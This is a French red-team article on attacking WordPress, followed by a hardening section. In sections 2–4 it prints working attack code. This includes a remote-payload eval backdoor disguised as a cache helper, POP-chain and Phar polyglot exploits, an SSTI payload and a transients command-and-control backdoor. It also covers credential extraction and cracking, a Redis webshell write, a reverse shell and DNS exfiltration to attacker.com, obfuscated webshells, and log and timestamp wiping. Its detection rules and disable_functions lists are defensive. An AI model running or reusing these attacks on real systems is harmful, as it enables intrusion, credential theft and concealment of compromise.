Hacking WordPress Expert : Red Team, Supply Chain et Hardening Ultime

Avertissement : Cet article est publie a des fins strictement educatives et destine aux professionnels autorises (pentesters, red teamers, auditeurs de securite). Toute utilisation des techniques decrites sans autorisation explicite est illegale. L'auteur et Ayi NEDJIMI Consultants declinent toute responsabilite en cas d'utilisation malveillante.

1. Introduction : WordPress comme vecteur d'intrusion

WordPress propulse plus de 43% du web mondial. Pour un red teamer, chaque installation WordPress represente un point d'entree potentiel vers l'infrastructure interne d'une organisation. Contrairement a l'approche classique du bug bounty qui se concentre sur une vulnerabilite isolee, la perspective Red Team considere WordPress comme le premier maillon d'une chaine d'attaque menant a la compromission complete du systeme d'information.

Les articles de niveaux precedents ont couvert l'enumeration, les vulnerabilites courantes et les bonnes pratiques de securisation de base. Ce troisieme volet s'adresse aux professionnels confirmes : pentesters, operateurs Red Team, architectes securite et RSSI souhaitant comprendre les vecteurs d'attaque les plus sophistiques ciblant l'ecosysteme WordPress.

Nous allons explorer les attaques par supply chain sur les plugins, les techniques de deserialization PHP avancee (POP chains, Phar polyglots), le pivot reseau depuis un WordPress compromis, les methodes anti-forensiques, et enfin l'architecture de hardening ultime basee sur le Zero Trust et l'infrastructure immuable.

L'objectif est double : permettre aux equipes offensives de simuler des scenarii realistes lors d'exercices Red Team, et fournir aux equipes defensives les connaissances necessaires pour anticiper et contrer ces menaces avancees. Chaque technique offensive sera accompagnee de ses contre-mesures correspondantes.

2. Techniques offensives Red Team

2.1 Supply Chain Attack sur les Plugins

Les attaques par supply chain representent l'une des menaces les plus insidieuses dans l'ecosysteme WordPress. Plutot que d'exploiter une vulnerabilite dans un plugin existant, l'attaquant compromet la chaine d'approvisionnement elle-meme, permettant une distribution massive de code malveillant a travers des canaux legitimes.

Typosquatting sur le repertoire WordPress.org

Le repertoire officiel WordPress.org heberge plus de 60 000 plugins. Un attaquant peut soumettre un plugin dont le nom est tres proche d'un plugin populaire : advanced-custom-fields devient advanceed-custom-fields ou advanced-custom-field (sans le "s"). Le plugin malveillant contient les memes fonctionnalites que l'original, mais inclut une backdoor dissimilee dans un fichier auxiliaire.

// Exemple de backdoor dissimulee dans un fichier helper.php
// Le code semble anodin : il "nettoie" le cache
function acf_cache_helper_init() {
    $transient = get_transient('acf_cache_token');
    if ($transient === false) {
        // Le "nettoyage" execute en realite du code arbitraire
        $response = wp_remote_get('https://cdn-analytics.example.com/pixel.js');
        if (!is_wp_error($response)) {
            $payload = wp_remote_retrieve_body($response);
            // Le code est decode et execute silencieusement
            @eval(base64_decode($payload));
        }
        set_transient('acf_cache_token', time(), 3600);
    }
}
add_action('init', 'acf_cache_helper_init');

Compromission du serveur de mise a jour

Les plugins premium (Elementor Pro, WPBakery, Gravity Forms) utilisent des serveurs de mise a jour proprietaires. Un attaquant ciblant ce serveur peut injecter du code malveillant dans une mise a jour legitime. Le mecanisme est particulierement dangereux car WordPress telecharge et installe automatiquement les mises a jour si l'option est activee.

Le vecteur d'attaque repose sur la compromission du systeme de signature. WordPress verifie l'integrite des mises a jour du core via des signatures, mais la plupart des plugins premium n'implementent aucun mecanisme de verification cryptographique. Un attaquant ayant compromis le serveur de distribution peut donc modifier le package ZIP sans detection.

Backdooring via les comptes contributeurs

De nombreux plugins WordPress sont maintenus par des equipes distribuees. Un attaquant peut cibler un contributeur avec du spear phishing pour obtenir ses credentials SVN/Git. Une fois l'acces obtenu, il insere du code malveillant dans un commit anodin, camouflant la backdoor parmi des modifications cosmetiques legitimes. Les cas recents de WordPress Display Widgets (2017) et AccessPress Themes (2022, 40+ themes/plugins compromis) illustrent la realite de ce vecteur.

Dependency confusion dans les themes WordPress

Les themes WordPress modernes utilisent npm et Composer pour gerer leurs dependances. Un attaquant peut exploiter la confusion de dependances en publiant un package malveillant sur npm public portant le meme nom qu'un package interne prive. Lorsque le pipeline de build resout les dependances, il telecharge la version publique malveillante au lieu de la version interne attendue.

// composer.json d'un theme WordPress utilisant un package interne
{
    "require": {
        "internal/wp-theme-utils": "^2.0"
    },
    "repositories": [
        {
            "type": "composer",
            "url": "https://packages.internal.company.com"
        }
    ]
}
// Si le package "internal/wp-theme-utils" existe sur Packagist
// avec une version superieure, Composer le telecharge en priorite

2.2 PHP Object Injection Chainees (POP Chains)

Les POP chains (Property-Oriented Programming) exploitent la deserialisation PHP pour chainer des appels de methodes magiques entre differentes classes, transformant des donnees serialisees malveillantes en execution de code arbitraire. Dans le contexte WordPress, de nombreuses classes du core et des plugins populaires offrent des gadgets exploitables.

Methodologie de construction de POP chains

La construction d'une POP chain suit une methodologie rigoureuse. L'objectif est de trouver une sequence de classes dont les methodes magiques (__wakeup(), __destruct(), __toString(), __call()) s'appellent mutuellement lorsqu'un objet serialise est deserialise.

Etape 1 - Identifier le point d'entree : rechercher les appels a unserialize() avec des donnees controlees par l'utilisateur. Dans WordPress, les candidats incluent les wp_options, les transients, les metadonnees utilisateur et les cookies.

Etape 2 - Cartographier les gadgets : analyser les classes WordPress chargees en memoire pour identifier les methodes magiques interessantes. L'outil PHPGGC (PHP Generic Gadget Chains) maintient une base de gadgets pour les frameworks PHP populaires.

Etape 3 - Construire la chaine : relier les gadgets pour atteindre un sink (fonction dangereuse comme system(), exec(), file_put_contents()).

// Exemple simplifie de POP chain WordPress
// Point d'entree : __wakeup() est appele automatiquement lors de la deserialisation

class WP_Exploit_ChainA {
    public $callback;
    public function __wakeup() {
        // Appelle __toString() sur $this->callback
        $result = "Initializing: " . $this->callback;
    }
}

class WP_Exploit_ChainB {
    public $formatter;
    public $data;
    public function __toString() {
        // Appelle une methode sur $this->formatter
        // Si formatter n'a pas la methode format(),
        // __call() est declenche
        return $this->formatter->format($this->data);
    }
}

class WP_Exploit_ChainC {
    public $command;
    public function __call($name, $arguments) {
        // Sink : execution de commande
        call_user_func($this->command, $arguments[0]);
    }
}

// Construction du payload serialise
$chainC = new WP_Exploit_ChainC();
$chainC->command = 'system';

$chainB = new WP_Exploit_ChainB();
$chainB->formatter = $chainC;
$chainB->data = 'id';

$chainA = new WP_Exploit_ChainA();
$chainA->callback = $chainB;

$payload = serialize($chainA);
// Le payload serialise, une fois deserialise, execute system('id')

Gadgets WordPress specifiques

Plusieurs classes du core WordPress offrent des gadgets potentiels :

• WP_Object_Cache : gere le cache objet, contient des methodes magiques interagissant avec des backends (Redis, Memcached).
• WP_Theme : la methode __toString() retourne le nom du theme, pouvant etre chainee.
• Requests_Utility_CaseInsensitiveDictionary : implementait ArrayAccess avec des comportements exploitables dans les anciennes versions.
• WP_Customize_Manager : interagit avec le systeme de fichiers lors de la destruction.

# Utilisation de PHPGGC pour generer un payload WordPress
# PHPGGC maintient des chaines pre-construites pour les frameworks PHP

phpggc WordPress/RCE1 system "id" -s
# Genere le payload serialise pret a l'emploi

# Pour un payload base64 (utile pour injection dans cookies)
phpggc WordPress/RCE1 system "id" -b

# Lister les chaines disponibles pour WordPress
phpggc -l WordPress

2.3 Phar Deserialisation sans unserialize()

La deserialisation Phar est l'une des techniques les plus elegantes et dangereuses de l'arsenal PHP. Elle permet de declencher la deserialisation d'objets PHP sans jamais appeler directement unserialize(). Le simple fait d'acceder a un fichier via le wrapper phar:// suffit a declencher la deserialisation des metadonnees du fichier Phar, executant ainsi la POP chain embarquee.

Comment fonctionne la deserialisation Phar

Un fichier Phar (PHP Archive) contient trois composants : un stub (code PHP execute a l'ouverture), un manifeste contenant des metadonnees serialisees, et les fichiers archives. La cle de l'attaque reside dans le manifeste : les metadonnees sont stockees sous forme serialisee et sont automatiquement deserialisees par PHP lorsqu'une operation de fichier est effectuee via le wrapper phar://.

Les fonctions PHP vulnerables incluent toute operation de filesystem :

• file_exists(), is_dir(), is_file() - simples verifications de fichier
• fopen(), file_get_contents(), file() - lecture de fichier
• copy(), rename(), unlink() - manipulations de fichier
• stat(), fileatime(), filesize() - informations sur le fichier
• getimagesize() - fonction de traitement d'image WordPress

Fichiers Phar polyglots (JPEG+Phar)

La veritable puissance de cette technique reside dans les fichiers polyglots. Un fichier peut etre simultanement un JPEG valide et un Phar valide. WordPress accepte l'upload d'images JPEG, et si un chemin de fichier controle par l'utilisateur est passe a une fonction filesystem avec le wrapper phar://, la deserialisation est declenchee.

// Creation d'un fichier Phar polyglot JPEG+Phar
// Ce script genere un fichier qui est a la fois un JPEG et un Phar valides

// Prerequis : phar.readonly = Off dans php.ini (env de dev)

// 1. Creer le Phar avec la POP chain dans les metadonnees
$phar = new Phar('exploit.phar');
$phar->startBuffering();

// Le stub commence par un header JPEG valide
// suivi du tag PHP necessaire pour le Phar
$jpeg_header = file_get_contents('legit_image.jpg');
$phar->setStub($jpeg_header . ' __HALT_COMPILER(); ?>');

// 2. Injecter la POP chain dans les metadonnees
// L'objet sera deserialise automatiquement
$pop_chain = new WP_Exploit_ChainA();
// ... configuration de la chaine comme precedemment
$phar->setMetadata($pop_chain);

$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

// 3. Renommer en .jpg pour passer les filtres WordPress
rename('exploit.phar', 'exploit.jpg');
// Le fichier est un JPEG valide ET un Phar valide

Fonctions WordPress vulnerables au wrapper phar://

Dans le core WordPress et ses plugins, de nombreuses fonctions manipulent des chemins de fichiers potentiellement controles par l'utilisateur. Si un attaquant peut injecter le prefix phar:// dans un chemin de fichier, la deserialisation est automatiquement declenchee.

// Exemples de points d'injection dans WordPress

// 1. Via le parametre de chemin d'un fichier media
// Si un plugin utilise file_exists() avec un chemin non filtre :
$file_path = $_GET['file'];
if (file_exists($file_path)) {  // VULNERABLE
    // phar:///var/www/html/wp-content/uploads/2026/02/exploit.jpg
    // Declenche la deserialisation !
}

// 2. Via getimagesize() - utilise par WordPress pour valider les images
// Certains plugins appellent getimagesize() sur des URLs controlees
$image_url = $_POST['image_url'];
$info = getimagesize($image_url);  // VULNERABLE au wrapper phar://

// 3. Via wp_get_image_editor() avec un chemin controle
// Le traitement d'image WordPress peut etre abuse

2.4 Template Injection via Page Builders

Les page builders comme Elementor, Divi, WPBakery et Beaver Builder ajoutent des couches d'abstraction de templating au-dessus de WordPress. Certains utilisent des moteurs comme Twig ou Blade, introduisant des risques de Server-Side Template Injection (SSTI).

L'injection de template cote serveur se produit lorsqu'un input utilisateur est interprete comme une expression de template. Par exemple, si un champ de formulaire Elementor est rendu via Twig sans echappement, un attaquant peut injecter des expressions comme {{7*7}} pour confirmer la vulnerabilite, puis escalader vers l'execution de code.

// SSTI via un shortcode WordPress personnalise mal securise
// Le shortcode rend directement l'attribut comme une expression Twig

function custom_dynamic_shortcode($atts) {
    $template = $atts['template']; // Input utilisateur non filtre !
    $twig = new \Twig\Environment(new \Twig\Loader\ArrayLoader([]));
    // VULNERABLE : l'input utilisateur est compile comme template
    $tmpl = $twig->createTemplate($template);
    return $tmpl->render([]);
}
add_shortcode('dynamic_content', 'custom_dynamic_shortcode');

// Exploitation :
// [dynamic_content template="{{['id']|map('system')|join}}"]
// Execute la commande 'id' sur le serveur

Les blocs Gutenberg personnalises presentent egalement des risques. Lorsqu'un bloc permet le rendu dynamique cote serveur avec du contenu utilisateur, l'absence de sanitization peut mener a l'injection de code PHP via eval() ou des fonctions similaires integrees au moteur de rendu du bloc.

2.5 Hooks et Filters comme Vecteur d'Injection

Le systeme de hooks et filters de WordPress (add_action() / add_filter()) est le mecanisme central d'extensibilite du CMS. Pour un attaquant ayant obtenu un acces initial, ce systeme offre un vecteur de persistance particulierement discret.

Plutot que de modifier les fichiers du core (ce qui serait detecte par un FIM), l'attaquant peut injecter du code malveillant directement dans la base de donnees, via la table wp_options. WordPress stocke les widgets actifs, les options de plugins et meme certains fragments de code dans cette table.

// Technique de persistance via wp_options
// L'attaquant insere un hook malveillant dans les options WordPress

// 1. Injection dans la table wp_options via SQL
// INSERT INTO wp_options (option_name, option_value, autoload)
// VALUES ('wp_scheduled_maintenance',
//   'a]O:...serialized_backdoor...', 'yes');

// 2. Utilisation des transients comme canal C2
function wp_transient_backdoor() {
    $cmd = get_transient('wp_cache_flush_cmd');
    if ($cmd && strlen($cmd) > 0) {
        $output = shell_exec(base64_decode($cmd));
        set_transient('wp_cache_flush_result',
            base64_encode($output), 300);
        delete_transient('wp_cache_flush_cmd');
    }
}
add_action('wp_loaded', 'wp_transient_backdoor');

// 3. L'attaquant envoie des commandes via l'API REST
// PUT /wp-json/wp/v2/settings (si authentifie)
// ou via injection SQL dans les transients

Le repertoire mu-plugins/ (Must-Use Plugins) est un autre vecteur de persistance redoutable. Les fichiers PHP places dans wp-content/mu-plugins/ sont charges automatiquement a chaque requete, sans possibilite de desactivation via l'interface d'administration. Un attaquant y placant un fichier beneficie d'une persistance quasi invisible.

3. Pivot et Mouvement Lateral

Un WordPress compromis constitue rarement l'objectif final d'un exercice Red Team. Le veritable enjeu reside dans la capacite a pivoter depuis le CMS vers l'infrastructure interne de l'organisation. WordPress, par sa conception, stocke de nombreuses informations sensibles qui facilitent ce mouvement lateral.

3.1 Extraction des Credentials de Base de Donnees

Le fichier wp-config.php est le Graal de tout attaquant ciblant WordPress. Il contient systematiquement les credentials de connexion a la base de donnees MySQL/MariaDB, et frequemment d'autres secrets sensibles.

# Apres compromission : extraction des credentials
# 1. Lire wp-config.php
cat /var/www/html/wp-config.php | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"

# Resultat typique :
# define('DB_NAME', 'wordpress_prod');
# define('DB_USER', 'wp_admin');
# define('DB_PASSWORD', 'S3cur3P@ssw0rd!2026');
# define('DB_HOST', '10.0.1.50');  # IP interne !

# 2. Connexion a la base MySQL distante
mysql -h 10.0.1.50 -u wp_admin -p'S3cur3P@ssw0rd!2026' wordpress_prod

# 3. Extraction des hashes de mots de passe WordPress
SELECT user_login, user_pass, user_email FROM wp_users;

# 4. Cracking des hashes WordPress (format $P$ / phpass)
# Hashcat avec le mode 400 (phpass)
hashcat -m 400 -a 0 wp_hashes.txt rockyou.txt

# 5. John the Ripper alternative
john --format=phpass --wordlist=rockyou.txt wp_hashes.txt

Les credentials de la base de donnees WordPress sont souvent reutilises sur d'autres services de l'infrastructure. Un attaquant testera systematiquement le mot de passe du compte DB_USER contre d'autres services : SSH, FTP, panels d'administration, serveurs de base de donnees voisins. Le credential stuffing interne est l'un des pivots les plus efficaces en Red Team.

3.2 SSRF Interne vers Services Back-end

Depuis un WordPress compromis avec une capacite d'execution de code, l'attaquant peut utiliser des techniques SSRF pour decouvrir et interagir avec les services internes du reseau. Redis, Memcached, Elasticsearch et les APIs internes sont des cibles privilegiees.

// SSRF depuis WordPress compromis vers Redis interne
// Redis est souvent accessible sans authentification sur le reseau interne

// 1. Decouverte de Redis (scan port 6379)
$redis_host = '10.0.1.100';
$fp = fsockopen($redis_host, 6379, $errno, $errstr, 2);
if ($fp) {
    // 2. Enumeration
    fwrite($fp, "INFO\r\n");
    $info = fread($fp, 65535);

    // 3. Extraction de toutes les cles
    fwrite($fp, "KEYS *\r\n");
    $keys = fread($fp, 65535);

    // 4. Technique avancee : ecriture de webshell via Redis
    // Si Redis peut ecrire sur le filesystem du serveur web
    $payload = "\n\n<?php system($_GET['c']); ?>\n\n";
    fwrite($fp, "SET shell \"$payload\"\r\n");
    fwrite($fp, "CONFIG SET dir /var/www/html/\r\n");
    fwrite($fp, "CONFIG SET dbfilename shell.php\r\n");
    fwrite($fp, "SAVE\r\n");

    fclose($fp);
}

3.3 wp-config.php vers Cloud Credentials

Les installations WordPress modernes interagissent frequemment avec des services cloud. Le fichier wp-config.php ou des fichiers de configuration de plugins contiennent souvent des cles d'acces AWS, des tokens Azure, ou des credentials pour des services tiers.

# Recherche systematique de secrets dans l'installation WordPress
# 1. Cles AWS
grep -r "AKIA" /var/www/html/wp-content/ --include="*.php"
grep -r "aws_access_key\|aws_secret" /var/www/html/ --include="*.php"

# 2. Credentials SMTP (mouvement lateral via email)
grep -r "smtp\|SMTP_PASSWORD\|mail_password" /var/www/html/ --include="*.php"

# 3. Cles API tierces (Stripe, PayPal, etc.)
grep -r "sk_live_\|pk_live_\|PAYPAL" /var/www/html/ --include="*.php"

# 4. Tokens et secrets divers
grep -r "api_key\|api_secret\|token\|secret" /var/www/html/wp-content/ \
  --include="*.php" --include="*.json" --include="*.env"

# 5. Si AWS credentials trouvees :
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
aws sts get-caller-identity  # Verification de l'identite
aws s3 ls  # Enumeration des buckets S3
aws iam list-users  # Tentative d'escalade IAM

3.4 Reverse Shell et Tunneling

Une fois un acces initial obtenu sur WordPress, l'attaquant etablit un canal de communication persistant et discret. Les techniques de reverse shell et de tunneling permettent de maintenir un acces stable tout en echappant a la detection.

// Reverse shell PHP chiffre via stunnel
// Cette technique contourne l'inspection TLS des IDS/IPS

// 1. Reverse shell PHP basique (facilement detecte)
// exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");

// 2. Technique avancee : DNS tunneling pour l'exfiltration
// Utilisation de requetes DNS TXT pour envoyer des donnees
function dns_exfil($data) {
    $encoded = bin2hex($data);
    $chunks = str_split($encoded, 60);
    foreach ($chunks as $i => $chunk) {
        dns_get_record("$chunk.$i.exfil.attacker.com", DNS_TXT);
    }
}

// 3. SOCKS proxy via Chisel pour pivoting reseau
// Sur l'attaquant :
// chisel server --reverse --port 8443
// Sur le WordPress compromis :
// wget https://attacker.com/chisel && chmod +x chisel
// ./chisel client attacker.com:8443 R:socks
// Puis utiliser proxychains pour acceder au reseau interne

4. Techniques Anti-Forensiques

Les operateurs Red Team les plus avances ne se contentent pas de compromettre un systeme : ils s'assurent que leurs activites restent indetectables le plus longtemps possible. Les techniques anti-forensiques visent a effacer les traces, corrompre les logs et rendre l'investigation post-incident aussi difficile que possible.

4.1 Obfuscation de Webshells PHP

Un webshell PHP basique (<?php system($_GET['cmd']); ?>) est trivialement detecte par les scanners antimalware. Les operateurs Red Team utilisent des techniques d'obfuscation avancees pour contourner la detection.

// Webshell polymorphique - chaque acces genere un code different
// Le code se re-chiffre a chaque execution

// Technique 1 : Variables variables et fonctions dynamiques
${'a'.'b'} = str_rot13('flfgrz');  // 'system'
${'a'.'b'}($_REQUEST['x']);

// Technique 2 : Steganographie dans un fichier image
// Le code est cache dans les donnees EXIF d'une image
$exif = exif_read_data('logo.jpg');
// Le payload est dans le champ 'ImageDescription'
@eval($exif['ImageDescription']);

// Technique 3 : Webshell sans mot-cle suspect
// Utilisation de classes PHP standard
$r = new ReflectionFunction('system');
$r->invoke($_GET['x']);

4.2 Manipulation des Timestamps et des Logs

La modification des timestamps et la suppression selective des logs permettent a l'attaquant de brouiller la chronologie des evenements et de rendre la reconstitution de l'incident extremement difficile pour les equipes DFIR.

# Manipulation des timestamps pour masquer l'intrusion
# 1. Copier les timestamps d'un fichier legitime
touch -r /var/www/html/wp-includes/version.php \
  /var/www/html/wp-content/mu-plugins/backdoor.php

# 2. Suppression selective des logs Apache/Nginx
# Supprimer uniquement les lignes contenant notre IP
sed -i '/192.168.1.100/d' /var/log/nginx/access.log

# 3. Nettoyage des traces dans la base WordPress
# Supprimer les entrees de log dans wp_options
mysql -e "DELETE FROM wp_options WHERE option_name
  LIKE '%_transient_%' AND option_value LIKE '%shell%';"

# 4. Effacement des traces dans wp_usermeta
# Supprimer les metadonnees du compte admin cree
mysql -e "DELETE FROM wp_usermeta WHERE user_id =
  (SELECT ID FROM wp_users WHERE user_login='maintenance_admin');"
mysql -e "DELETE FROM wp_users WHERE user_login='maintenance_admin';"

Les techniques d'exploitation en memoire uniquement (fileless) representent le niveau le plus avance. L'attaquant execute son code directement en memoire PHP sans jamais ecrire de fichier sur le disque, rendant la detection par les outils de FIM impossible.

5. Hardening Ultime

Face aux techniques offensives avancees decrites precedemment, les mesures de securite classiques (mises a jour, mots de passe forts, plugins de securite) sont necessaires mais insuffisantes. Le hardening de niveau expert repose sur des principes architecturaux fondamentaux : immutabilite, micro-segmentation, Zero Trust et monitoring avance.

5.1 Infrastructure Immuable

Le concept d'infrastructure immuable applique a WordPress signifie que l'environnement de production est en lecture seule. Aucun fichier ne peut etre modifie, ajoute ou supprime en production. Toute modification passe obligatoirement par le pipeline CI/CD, rendant la persistance d'un attaquant quasi impossible.

# Docker Compose pour WordPress immuable
version: '3.8'
services:
  wordpress:
    image: wordpress-hardened:latest  # Image custom construite par CI/CD
    read_only: true  # Filesystem en lecture seule !
    tmpfs:
      - /tmp:size=64M,noexec,nosuid
      - /run:size=32M
    volumes:
      # Seul le repertoire uploads est en ecriture (volume separe)
      - wp_uploads:/var/www/html/wp-content/uploads:rw
    environment:
      WORDPRESS_DB_HOST: db:3306
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    cap_add:
      - NET_BIND_SERVICE
    networks:
      - frontend
      - backend

  db:
    image: mariadb:10.11
    read_only: true
    tmpfs:
      - /tmp:size=128M
      - /run/mysqld:size=32M
    volumes:
      - db_data:/var/lib/mysql:rw
    networks:
      - backend  # Accessible uniquement depuis le reseau backend

  nginx:
    image: nginx:alpine
    read_only: true
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    networks:
      - frontend
    ports:
      - "443:443"

networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true  # Pas d'acces Internet !

volumes:
  wp_uploads:
  db_data:

Le deploiement par pipeline Git garantit que seul le code versionne et revise atteint la production. Chaque modification est tracee, auditee et reproductible. Si un attaquant parvient a modifier un fichier en production, le prochain deploiement ecrasera automatiquement la modification.

5.2 WordPress Headless (Decouplage)

L'architecture headless WordPress separe le backend (administration, API REST) du frontend (site public). WordPress sert uniquement d'API, tandis que le frontend est genere statiquement par un framework comme Next.js ou Gatsby. Cette architecture reduit drastiquement la surface d'attaque.

Avantages securitaires du mode headless :

• Elimination du theme rendering : plus de SSTI, plus de XSS dans le template PHP.
• Backend non expose publiquement : WordPress admin accessible uniquement via VPN ou reseau interne.
• Frontend statique : fichiers HTML pre-generes, impossible a compromettre dynamiquement.
• Decouplage base de donnees : le frontend n'a aucun acces direct a MySQL.
• CDN distribution : le site statique est servi par un CDN (Cloudflare, AWS CloudFront), ajoutant une couche de protection.

5.3 Isolation Reseau (Micro-segmentation)

La micro-segmentation isole chaque composant de l'architecture WordPress dans son propre segment reseau. Le principe est simple : chaque composant ne peut communiquer qu'avec les composants strictement necessaires a son fonctionnement, et uniquement sur les ports requis.

# Regles nftables pour micro-segmentation WordPress
#!/usr/sbin/nft -f

table inet wordpress_fw {
    chain input {
        type filter hook input priority 0; policy drop;

        # Loopback
        iif lo accept

        # Connexions etablies
        ct state established,related accept

        # SSH uniquement depuis le bastion (management VLAN)
        ip saddr 10.0.0.0/24 tcp dport 22 accept

        # HTTPS uniquement depuis le reverse proxy
        ip saddr 10.0.1.10 tcp dport 443 accept

        # Tout le reste est bloque
        counter drop
    }

    chain forward {
        type filter hook forward priority 0; policy drop;

        # WordPress vers MySQL uniquement (port 3306)
        ip saddr 10.0.2.0/24 ip daddr 10.0.3.50 tcp dport 3306 accept

        # WordPress vers Redis uniquement (port 6379)
        ip saddr 10.0.2.0/24 ip daddr 10.0.3.60 tcp dport 6379 accept

        # MySQL et Redis : aucun acces Internet
        ip saddr 10.0.3.0/24 drop

        # Connexions retour
        ct state established,related accept
    }

    chain output {
        type filter hook output priority 0; policy drop;

        # Autoriser uniquement les mises a jour via le proxy
        ip daddr 10.0.0.5 tcp dport 3128 accept

        # DNS vers le resolver interne uniquement
        ip daddr 10.0.0.2 udp dport 53 accept
        ip daddr 10.0.0.2 tcp dport 53 accept

        # Loopback et connexions etablies
        oif lo accept
        ct state established,related accept

        counter drop
    }
}

5.4 Hardening PHP

Le hardening PHP est une couche de defense fondamentale. En restreignant les fonctions disponibles et en limitant l'acces au filesystem, on reduit considerablement les capacites d'un attaquant meme apres compromission du code WordPress.

; php.ini - Configuration securisee pour WordPress
; ================================================

; Desactiver les fonctions dangereuses
; WordPress fonctionne sans ces fonctions
disable_functions = exec,passthru,shell_exec,system,proc_open,
  popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,
  pcntl_exec,pcntl_fork,pcntl_signal,pcntl_waitpid,
  pcntl_wexitstatus,pcntl_setpriority,
  dl,putenv,phpinfo,proc_nice,proc_terminate,
  posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,
  posix_setuid,posix_setgid,posix_seteuid,posix_setegid

; Restreindre l'acces au filesystem
open_basedir = /var/www/html/:/tmp/:/var/www/html/wp-content/uploads/

; Desactiver les wrappers de stream dangereux
allow_url_fopen = Off
allow_url_include = Off

; Desactiver le wrapper phar (protection contre Phar deserialization)
; Dans php.ini ou via stream_wrapper_unregister()

; Securite des sessions
session.cookie_httponly = On
session.cookie_secure = On
session.cookie_samesite = Strict
session.use_strict_mode = On

; Limitation des ressources
max_execution_time = 30
max_input_time = 30
memory_limit = 256M
post_max_size = 16M
upload_max_filesize = 8M
max_file_uploads = 5

; Masquer les informations PHP
expose_php = Off
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

5.5 Monitoring Avance

Le monitoring de niveau expert combine la surveillance d'integrite des fichiers (FIM), la detection runtime en environnement conteneurise, l'audit systeme et la correlation SIEM pour detecter les compromissions le plus tot possible.

Wazuh/OSSEC pour le File Integrity Monitoring : surveille en temps reel les modifications de fichiers WordPress. Toute modification non prevue (ajout d'un fichier PHP dans mu-plugins, modification de wp-config.php) declenche une alerte.

Falco pour la detection runtime : dans un environnement conteneurise, Falco surveille les appels systeme et detecte les comportements anormaux : execution de shell depuis un processus PHP, connexion reseau inhabituelle, lecture de fichiers sensibles.

# Regles Falco personnalisees pour WordPress
# /etc/falco/rules.d/wordpress.yaml

- rule: WordPress PHP Shell Execution
  desc: Detecte l'execution d'un shell depuis un processus PHP WordPress
  condition: >
    spawned_process and
    proc.pname in (php, php-fpm, php-fpm8.2) and
    proc.name in (bash, sh, dash, zsh, ksh) and
    container.name contains "wordpress"
  output: >
    Shell lance depuis PHP WordPress
    (user=%user.name command=%proc.cmdline
     container=%container.name image=%container.image.repository)
  priority: CRITICAL
  tags: [wordpress, shell, compromise]

- rule: WordPress Suspicious File Write
  desc: Detecte l'ecriture de fichiers PHP en dehors du pipeline CI/CD
  condition: >
    open_write and
    fd.name glob "/var/www/html/wp-content/plugins/*.php" and
    container.name contains "wordpress" and
    not proc.name in (wp, composer)
  output: >
    Ecriture suspecte de fichier PHP WordPress
    (file=%fd.name user=%user.name process=%proc.name)
  priority: WARNING
  tags: [wordpress, backdoor, persistence]

- rule: WordPress Network Connection to Internal
  desc: Detecte les connexions WordPress vers le reseau interne
  condition: >
    outbound and
    container.name contains "wordpress" and
    fd.rip != "0.0.0.0" and
    (fd.rip startswith "10." or
     fd.rip startswith "172.16." or
     fd.rip startswith "192.168.") and
    not fd.rport in (3306, 6379, 11211)  # Ports DB/Cache autorises
  output: >
    Connexion interne suspecte depuis WordPress
    (dest=%fd.rip:%fd.rport process=%proc.name)
  priority: WARNING
  tags: [wordpress, lateral_movement, ssrf]

# Regles auditd pour surveiller les fichiers critiques WordPress
# /etc/audit/rules.d/wordpress.rules

# Surveiller wp-config.php (lecture et modification)
-w /var/www/html/wp-config.php -p rwa -k wordpress_config

# Surveiller le repertoire mu-plugins (modifications)
-w /var/www/html/wp-content/mu-plugins/ -p wa -k wordpress_muplugins

# Surveiller les modifications de themes et plugins
-w /var/www/html/wp-content/plugins/ -p wa -k wordpress_plugins
-w /var/www/html/wp-content/themes/ -p wa -k wordpress_themes

# Detecter l'execution de commandes suspectes par www-data
-a always,exit -F arch=b64 -F euid=33 -S execve -k wordpress_exec

# Surveiller les connexions reseau sortantes de PHP
-a always,exit -F arch=b64 -S connect -F euid=33 -k wordpress_network

6. Automatisation du Durcissement

L'automatisation est la cle d'un hardening coherent et reproductible. Les configurations manuelles sont sujettes aux erreurs et aux oublis. Un pipeline automatise garantit que chaque deploiement WordPress respecte les memes standards de securite.

6.1 Ansible Playbook pour le Hardening WordPress

# ansible/wordpress-hardening.yml
---
- name: WordPress Security Hardening
  hosts: wordpress_servers
  become: yes
  vars:
    wp_path: /var/www/html
    php_version: "8.2"

  tasks:
    - name: Configurer les permissions des fichiers WordPress
      file:
        path: "{{ wp_path }}"
        owner: www-data
        group: www-data
        mode: '0755'
        recurse: yes

    - name: Proteger wp-config.php en lecture seule
      file:
        path: "{{ wp_path }}/wp-config.php"
        mode: '0440'
        owner: www-data
        group: www-data

    - name: Supprimer les fichiers inutiles et dangereux
      file:
        path: "{{ wp_path }}/{{ item }}"
        state: absent
      loop:
        - readme.html
        - license.txt
        - wp-config-sample.php
        - xmlrpc.php

    - name: Desactiver l'editeur de fichiers WordPress
      lineinfile:
        path: "{{ wp_path }}/wp-config.php"
        line: "define('DISALLOW_FILE_EDIT', true);"
        insertbefore: "That's all, stop editing"

    - name: Forcer SSL pour l'administration
      lineinfile:
        path: "{{ wp_path }}/wp-config.php"
        line: "define('FORCE_SSL_ADMIN', true);"
        insertbefore: "That's all, stop editing"

    - name: Deployer la configuration PHP securisee
      template:
        src: templates/php-hardened.ini.j2
        dest: "/etc/php/{{ php_version }}/fpm/conf.d/99-security.ini"
        owner: root
        group: root
        mode: '0644'
      notify: Restart PHP-FPM

    - name: Configurer les regles auditd WordPress
      template:
        src: templates/wordpress-audit.rules.j2
        dest: /etc/audit/rules.d/wordpress.rules
      notify: Restart auditd

    - name: Installer et configurer Wazuh agent
      include_role:
        name: wazuh-agent
      vars:
        wazuh_manager_ip: "10.0.0.100"
        wazuh_fim_directories:
          - "{{ wp_path }}/wp-includes"
          - "{{ wp_path }}/wp-admin"
          - "{{ wp_path }}/wp-content/plugins"
